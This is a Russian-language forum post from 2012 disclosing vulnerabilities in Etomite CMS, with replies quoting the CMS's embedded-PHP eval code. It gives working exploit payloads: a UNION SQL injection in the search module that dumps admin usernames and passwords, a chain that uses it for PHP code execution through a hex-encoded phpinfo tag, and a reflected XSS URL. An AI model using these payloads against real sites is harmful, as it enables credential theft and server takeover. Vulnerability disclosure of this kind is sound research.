Множественные уязвимости Etomite CMS Сегодня понадобилось ковырнуть эту CMS. Оффсайт цмски www.etomite.org Немного кривой код написанный, типа, на ООП. Но логика - бред. По сути вся цмска запихнута в один файл index.php в виде одного класа. Вообщем полный бред. Судя по коду авторы что то слышали насчет безопасности, но судя по всему всего лишь краем уха. Так как было найдено: SQL injection - нет зависимостей от настроек Выполнение PHP кода - необходима специфичная настройка параметров CMS XSS - нет зависимостей Ну и вероятно это не предел, так как найдя эти уязвимости я остановился. Далее описание уязвимостей, уязвимый код, и пример эксплуатации. SQL injection Вообщем классическая иньекция в модуле поиска (уязвимый код хранится в БД в виде модуля): Code: //... if(isset($_POST['search']) && $_POST['search']!='') { $search = explode(" ", $_POST['search']); $sql = "SELECT id, pagetitle, parent, description FROM ".$etomite->db.site_content." WHERE (content LIKE '%".$search[0]."%'"; //... } Как видно, переменная search попадает в запрос без какой либо фильтрации. Эксплойт: Code: POST http://etomite/index.php?id=14 sub=Search&search=[SQL-inj] Пример иньекции: Code: ')AND(1=0)UNION(SELECT(1),2,3, (CONCAT(username,0x3a,password))FROM`etomite`.`etomite_manager_users`)# PHP eval У данной цмс есть интересная функция. Заключается в том что цмс может выполнять код заключенный в теги "<?php" и "?>" на любой странице. Но особенность этой функции в том что анализ тегов происходит после полной генерации страницы. И если мы сможем изменить вывод страниц нужным нам образом (достаточно простейшей XSS) то мы сможем выполнять PHP код. К сожалению, эта функция по дефолту отключена в админ панели. Для примера возьмем предыдущую уязвимость и попробуем выполнить код: Code: POST http://etomite/index.php?id=14 sub=Search&search=')AND(1=0)UNION(SELECT(1),2,3, (0x3C3F70687020706870696E666F28293B203F3E))# Где 0x3C3F70687020706870696E666F28293B203F3E - hex представление строки "<?php phpinfo(); ?>". Т.е теперь вместо логина/пароля админа по-идее должа вывестись указанная строка, но(!) встроенный парсер цмски вместо вывода данной строки, выполнит ее как PHP код! XSS Ну и тут все совсем банально. Файл manager\includes\accesscontrol.inc.php, строка 84: Code: <input type="hidden" value="<?php echo $_REQUEST['location']; ?>" name="location"> Эксплойт: Code: http://etomite/manager/?location="><script>alert('Hacked BY InSys');</script><x z=" XSS Дата: 25.04.2012 Автор: Intellect http://intsystem.org/ http://intsystem.org/641/vulnerability-etomite-cms/
Файл index.php, строки 351-360: PHP: // Check to see if document content contains PHP tags. // PHP tag support contributed by SniperX if( preg_match("/(<\?php|<\?)(.*?)\?>/", $documentOutput) && $type == "text/html" && $this->config['allow_embedded_php'] ) { $documentOutput = '?'.'>' . $documentOutput . '<'.'?php '; // Parse the PHP tags. eval($documentOutput); } else { // No PHP tags so just echo out the content. echo $documentOutput; }
мдааа, сильно постарались разработчики, но насколько я понял эту опцию можно выключить PHP: $this->config['allow_embedded_php']